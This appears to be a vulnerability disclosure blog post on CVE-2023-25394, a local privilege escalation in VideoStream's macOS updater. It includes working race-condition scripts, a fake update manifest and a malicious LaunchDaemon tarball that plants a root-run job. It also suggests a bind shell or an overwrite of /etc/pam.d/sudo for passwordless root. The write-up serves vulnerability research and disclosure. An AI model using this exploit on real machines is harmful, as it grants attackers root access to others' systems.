CVE-2023-25394 - VideoStream Local Privilege Escalation
Overview
VideoStream is a popular application that allows users to stream videos, music, and images to Google Chromecast devices effortlessly. Known for its user-friendly interface, it enables seamless playback of local video files and automatically transcodes them into Chromecast-compatible formats. With over 5 million installations, VideoStream is a significant player in the streaming industry, as indicated by their official website (https://getvideostream.com) and the Chrome app store, which lists over 900,000 users.
Introduction
This post delves into a local privilege escalation vulnerability discovered in the macOS version of VideoStream. We will guide you through identifying this vulnerability and demonstrate how we developed an exploit to gain elevated local privileges. The vulnerability exploits VideoStream’s update mechanism, allowing an attacker to trick the installer into extracting a malicious tar.gz
file instead of the intended download.
Moreover, we explored a method to trigger the download process and activate the update flow since the script installs a package only when the VideoStream website has a newer version than the one currently installed. In the following sections, we’ll delve into the analysis phase and subsequently focus on developing an exploit to achieve local privilege escalation.
Initial Research
In the initial phase of our research, we utilized Suspicious Package to scrutinize the installer’s actions. We began by downloading the macOS installation file (.pkg) from the VideoStream website (https://getvideostream.com). We used the “Suspicious Package” app (https://mothersruin.com/software/SuspiciousPackage/) to examine the package’s contents and scripts before installation. This tool provides insights into the expected events during the installation process.
Upon opening the installer in “Suspicious Package,” we observed that 6,435 items were slated for installation, occupying 183.9 MB on the disk. Two installation scripts were present, which we would examine next. The “All Scripts” tab revealed the following:
The screenshot shows two installation scripts visible on the initial screen, which we will further examine. But first, let’s understand some macOS basics and get familiar with LaunchAgents and LaunchDaemons.
LaunchDaemons and LaunchAgents
LaunchDaemons and LaunchAgents are processes in macOS used to automatically run scripts and programs in the background. They differ in their level of access to the system and the user’s environment.
-
LaunchDaemons: Run as the root user and have full system access, making them ideal for system-wide tasks like network configurations, software updates, and maintenance. They are stored in the
/Library/LaunchDaemons
directory. -
LaunchAgents: Run as the current user with access only to the user’s environment, suitable for user-specific tasks like personal backups or contact synchronization. They are stored in the
~/Library/LaunchAgents
or/Library/LaunchAgents
directory.
Both LaunchDaemons and LaunchAgents can run processes at startup, during login, or at specified times using a property list file (plist) that defines the process parameters, including the executable, arguments, and schedule.
Let’s now examine the VideoStream package installer scripts we saw earlier.
Post-Installation Script
The post-installation script runs after the files are copied to the disk. It clears VideoStream’s local cache and config files and launches VideoStream.
#!/bin/bash
#set -e
pushd /Applications/Videostream.app/Contents/Resources/videostream-native
sudo -u $USER rm -rf ~/.videostream
sudo -u $USER /bin/launchctl load /Library/LaunchAgents/com.videostream.launcher.plist
# Give a 25-second grace period for launchd to set up the server
# before trying to bring up the client
cnt=0
while ! netstat -anp tcp | grep -q \*\.5557; do
[ $cnt -eq 50 ] && break
cnt=$(expr $cnt + 1)
sleep 0.5
done
if [ $cnt -lt 50 ]; then
if [ -x "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" ]; then
sudo -u $USER "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" http://localhost:5557 &
sleep 2
sudo -u $USER "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" http://localhost:5557/google-oauth-start?welcome=true &
else
open http://localhost:5557/ui/no-chrome.html &
fi
fi
/bin/launchctl load /Library/LaunchDaemons/com.videostream.updater.0.4.3.plist
It’s crucial to note that the installer copies the file com.videostream.updater.0.4.3.plist
to /Library/LaunchDaemons
, and the post-install script loads it. This means it will run with root privileges, making it a potential target for privilege escalation.
VideoStream Updater
The name of the .plist
file suggests it is associated with the VideoStream update process. Let’s examine the file contents to understand its purpose.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.videostream.updater.0.4.3</string>
<key>Program</key>
<string>/Library/Scripts/Videostream/Videostream.update</string>
<key>StandardOutPath</key>
<string>/tmp/Videostream.service.log</string>
<key>StartInterval</key>
<integer>18000</integer>
<key>RunAtLoad</key><true/>
</dict>
</plist>
The parameters indicate that /Library/Scripts/Videostream/Videostream.update
will run every 5 hours or upon boot, with its standard output directed to /tmp/Videostream.service.log
.
Analysis of Videostream.update
The /Library/Scripts/Videostream/Videostream.update
script performs several tasks:
#!/bin/bash
# ...
for PLIST in /Library/LaunchDaemons/com.videostream.updater.*.plist; do
[ $PLIST == /Library/LaunchDaemons/com.videostream.updater.0.5.0.plist ] || {
echo $(date | tr -d '\n') Removing old property list $PLIST
rm $PLIST
}
done
# Check whether the user has upgraded from a cat OS X to Mavericks or later
NEW_FLAVOR=macOS
# ...
MANIFEST=/tmp/$$
echo $(date | tr -d '\n') Downloading latest manifest >> /tmp/Videostream.service.log
curl https://cdn.getvideostream.com/videostream-native-updates/$NEW_FLAVOR/manifest.json -o $MANIFEST
NEW_VERSION=$(grep CurrentVersion $MANIFEST | tail -1 | sed "s/[^:]*: *'\(.*\)'.*/\1/")
echo $(date | tr -d '\n') Installed: 0.5.0\; Latest: $NEW_VERSION
NEWEST_VERSION="0.5.0"
if [ -n "$NEW_VERSION" ]; then
NEWEST_VERSION=$(printf "0.5.0\n$NEW_VERSION" | sort -r | head -n 1)
fi
echo "NEWEST_VERSION: $NEWEST_VERSION"
if [ -n "$NEW_VERSION" -a "$NEW_VERSION" = "$NEWEST_VERSION" -a "0.5.0" != "$NEW_VERSION" ]; then
cd /tmp
PACKAGE=$(grep url $MANIFEST | tail -1 | sed "s/[^:]*: *'\(.*\)'.*/\1/")
echo $(date | tr -d '\n') Downloading $PACKAGE
curl https://cdn.getvideostream.com/videostream-native-updates/$NEW_FLAVOR/$PACKAGE -O
echo $(date | tr -d '\n') Downloaded $(ls -l $PACKAGE | tr -s ' ' | cut -f 5 -d ' ') bytes
cd /
echo $(date | tr -d '\n') Installing version $NEW_VERSION
tar -xzopf /tmp/$PACKAGE
# ...
# Restarting new updater service
NEW_UPDATER_PLIST=/Library/LaunchDaemons/com.videostream.updater.$NEW_VERSION.plist
echo $(date | tr -d '\n') Restarting new updater service $NEW_UPDATER_PLIST
/bin/launchctl load $NEW_UPDATER_PLIST
echo $(date | tr -d '\n') Removing old updater service
# This kills the current script, so it must be the last line
/bin/launchctl unload /Library/LaunchDaemons/com.videostream.updater.0.5.0.plist
fi
rm $MANIFEST
The script performs cleaning and unloads any pre-installed launch daemons during its initial phase:
for PLIST in /Library/LaunchDaemons/com.videostream.updater.*.plist; do
[ $PLIST == /Library/LaunchDaemons/com.videostream.updater.0.5.0.plist ] || {
echo $(date | tr -d '\n') Removing old property list $PLIST
rm $PLIST
}
done
It then downloads the manifest.json
file from the server:
MANIFEST=/tmp/$$
echo $(date | tr -d '\n') Downloading latest manifest >> /tmp/Videostream.service.log
curl https://cdn.getvideostream.com/videostream-native-updates/$NEW_FLAVOR/manifest.json -o $MANIFEST
The manifest file name is saved locally under the /tmp
directory, with the process PID as its name, resulting in a unique identifier for each script run. The maximum PID number, as defined by Apple, is 99,999 and can be found in the XNU kernel code (open-source).
Next, the updater script extracts the version from the manifest.json
file and checks for newer versions. If a new version exists, it downloads the updated VideoStream app and installs it; otherwise, the script terminates.
NEW_VERSION=$(grep CurrentVersion $MANIFEST | tail -1 | sed "s/[^:]*: *'\(.*\)'.*/\1/")
echo $(date | tr -d '\n') Installed: 0.5.0\; Latest: $NEW_VERSION
NEWEST_VERSION="0.5.0"
if [ -n "$NEW_VERSION" ]; then
NEWEST_VERSION=$(printf "0.5.0\n$NEW_VERSION" | sort -r | head -n 1)
fi
if [ -n "$NEW_VERSION" -a "$NEW_VERSION" = "$NEWEST_VERSION" -a "0.5.0" != "$NEW_VERSION" ]; then
# ...
done
During installation, the script downloads the updated version specified in the manifest.json
file and extracts it to the root directory /
.
cd /tmp
PACKAGE=$(grep url $MANIFEST | tail -1 | sed "s/[^:]*: *'\(.*\)'.*/\1/")
echo $(date | tr -d '\n') Downloading $PACKAGE
curl https://cdn.getvideostream.com/videostream-native-updates/$NEW_FLAVOR/$PACKAGE -O
echo $(date | tr -d '\n') Downloaded $(ls -l $PACKAGE | tr -s ' ' | cut -f 5 -d ' ') bytes
cd /
echo $(date | tr -d '\n') Installing version $NEW_VERSION
tar -xzopf /tmp/$PACKAGE
To summarize, the update script performs the following tasks:
- Cleans up outdated configuration files.
- Downloads the
manifest.json
to/tmp/[PID]
, wherePID
is the updater process ID. - Checks if the version in
manifest.json
is newer than the local version.- If it is not, the script ends.
- If a newer version is available on the server, it downloads a tar.gz file to
/tmp/videostream_[VERSION].tar.gz
and extracts it to the / root directory.
Vulnerable Areas
Understanding the updater script’s workings reveals that injecting a compressed .tar.gz
file into the updater process (under the /tmp
directory) would cause the update to extract the file into the root directory. This grants the ability to overwrite almost any file (not protected by SIP), including /Library/LaunchDaemons
, allowing us to execute scripts as root and escalate privileges.
File Permissions
We previously identified that the update process writes the updated manifest.json
file to /tmp/[PID]
, and if a newer version is needed, it will be placed in /tmp/videostream_0.5.0.tar.gz
. The installer creates a file with root privileges in the /tmp
directory.
-rw-r--r-- 1 root wheel 66792963 Feb 2 21:25 videostream_0.5.0.tar.gz
The first problem is that we can’t override this file due to a lack of permissions. To circumvent this restriction, we could create an empty file before the installer runs.
-rw-r--r-- 1 danrevah wheel 0 Feb 3 21:33 videostream_0.5.0.tar.gz
Next, when the installer runs the update script, it will be written into the previously created file while retaining the same permissions.
-rw-r--r-- 1 danrevah wheel 66792963 Feb 2 21:37 videostream_0.5.0.tar.gz
Good news! This means we can control this file and replace it with our tar.gz file. Our malicious tar.gz file will contain the following structure:
- Library
- LaunchDaemons
com.example.proof.plist
- LaunchDaemons
Let’s create a LaunchDaemon POC that creates a file named /tmp/proof
. We’ll do that by adding the following content to com.example.proof.plist
:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.example.proof</string>
<key>ProgramArguments</key>
<array>
<string>touch</string>
<string>/tmp/proof</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
As the tar.gz
file will be extracted by the update script under the root path /
, we will write directly to /Library/LaunchDaemons/com.example.proof.plist
. As we learned earlier, this script would run with root privileges, meaning we can run any command as root!
This daemon would run during boot and create a /tmp/proof
file written as root. If we want to gain privilege escalation to root, we could replace the touch command and serve a bind shell.
This is a significant step. However, we still can’t easily achieve this.
Although we could gain root privileges by crafting an exploit that would create a race to overwrite that file, we would have to wait for a new version to be released by VideoStream to run our exploit, making that whole effort meaningless.
We need to find a way to trigger the download faster, as we don’t want to wait for a new version months or even years to gain LPE (or never?).
Analysis of Version Detection
We previously observed that the updater script downloads a manifest.json
file and stores it in /tmp/[PID]
with the current process ID number. The script uses the manifest to determine if a new version should be installed.
As done previously, we can write a file to the /tmp
directory and maintain permissions (like we did with the tar.gz file earlier). However, in this case, we need to also figure out:
- How to force the updater to download a valid version without failing the script by causing it to attempt to download from an invalid URL.
- How to detect the PID of the process, as it’s used as the
manifest.json
downloaded file name.
To address the first problem, we will examine the manifest.json
file that the updater will download.
{
"CurrentVersion": "0.5.0",
"url": "videostream_0.5.0.tar.gz"
}
By looking at the installer code, we see that it extracts the version from the value of the CurrentVersion
key:
NEW_VERSION=$(grep CurrentVersion $MANIFEST | tail -1 | sed "s/[^:]*: *'\(.*\)'.*/\1/")
while the download command is using the url
key:
PACKAGE=$(grep url $MANIFEST | tail -1 | sed "s/[^:]*: *'\(.*\)'.*/\1/")
# ...
curl https://cdn.getvideostream.com/videostream-native-updates/$NEW_FLAVOR/$PACKAGE -O
echo $(date | tr -d '\n') Downloaded $(ls -l $PACKAGE | tr -s ' ' | cut -f 5 -d ' ') bytes
This means that if we can race with a fake manifest.json
file that contains a greater version number, for example, 0.5.3, and keep the same URL, we should be good to go:
{
"CurrentVersion": "0.5.3",
"url": "videostream_0.5.0.tar.gz"
}
But we still haven’t solved the second problem. How do we figure out which file to create if it stores it with a different name (based on the updater PID) on each run?
To do that, we could use pgrep
to extract the updater PID:
pgrep -f Videostream.update
And use the same technique as previously with an exploit race to override that file.
Writing the Exploit
With an understanding of how to exploit the vulnerabilities, we can proceed to write the exploit. The exploit will be split into two scripts:
- Override the
manifest.json
with the updater process ID. - Override the
/tmp/videostream_0.5.0.tar.gz
file.
First, we’ll create the escalate.tar.gz
file with the following contents:
- Library
- LaunchDaemons
com.example.proof.plist
- LaunchDaemons
com.example.proof.plist
contains:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.example.proof</string>
<key>ProgramArguments</key>
<array>
<string>touch</string>
<string>/tmp/proof</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
Next, we’ll create a fake manifest.json
that will represent a version upgrade:
{
"CurrentVersion": "0.5.3",
"url": "videostream_0.5.0.tar.gz"
}
Then we’ll create the first script that overrides the manifest.json
with the current PID as its name:
#!/bin/bash
echo '[+] Overriding manifest.json'
while [ ! -f /Library/LaunchDaemons/com.example.proof.plist ]
do
pgrep -f Videostream.update | xargs -I {} cp manifest.json /tmp/{}
done
This script will continuously attempt to extract the PID from the Videostream.update
script and use the process ID as the name for the manifest.json
. It will wait until the Videostream
updater script runs and continuously try to use a race condition to override the downloaded file with our malicious manifest.json
. Once it detects that our malicious LaunchDaemon was created, it stops.
Next, we’ll create the script that overrides the videostream_0.5.0.tar.gz
with our malicious compressed file:
#!/bin/bash
echo '[+] Overriding the downloaded files...'
while [ ! -f /Library/LaunchDaemons/com.example.proof.plist ]
do
cp escalate.tar.gz /tmp/videostream_0.5.0.tar.gz
sleep 0.01
done
echo '[+] Done.'
Notice that both scripts will continuously copy the files into the new location, writing the file for the first time. The updater script will write into those files, maintaining the same permissions and allowing us to continue writing into those files, causing a race between us and the updater script.
We could either leave the scripts running and wait for the next update window, which will take less than 5 hours (remember that it runs the updater script every 5 hours or during boot), or extract the last time the script ran from the Videostream
log (LaunchDaemon output file) and automatically trigger the script a minute before it launches (LaunchAgent, for example).
Once we let our scripts run and finish anticipating the fake update, we can see that our hard work paid off and our malicious LaunchDaemon was added:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.example.proof</string>
<key>ProgramArguments</key>
<array>
<string>touch</string>
<string>/tmp/proof</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
After a reboot, we obtain:
To gain root access without a reboot, instead of adding a new LaunchDaemon plist file, we could override /etc/pam.d/sudo
and allow ourselves to use the sudo command without prompting for a password.
Conclusion
- We used Suspicious Package to investigate the installation package of VideoStream and learned about LaunchAgents and LaunchDaemons processes.
- We identified that VideoStream registers a LaunchDaemon that serves the update process, checking for a new version every 5 hours.
- We detected a TOCTOU vulnerability in the process that allowed us to cause the process to install our malicious file. This enabled us to write to system files as root, and we successfully executed code as root and generated a file using
touch /tmp/proof
. - A small change in the
escalate.tar.gz
file, so that it overwrites the/etc/pam.d/sudo
file, could grant us root permissions on the system without the need for a restart.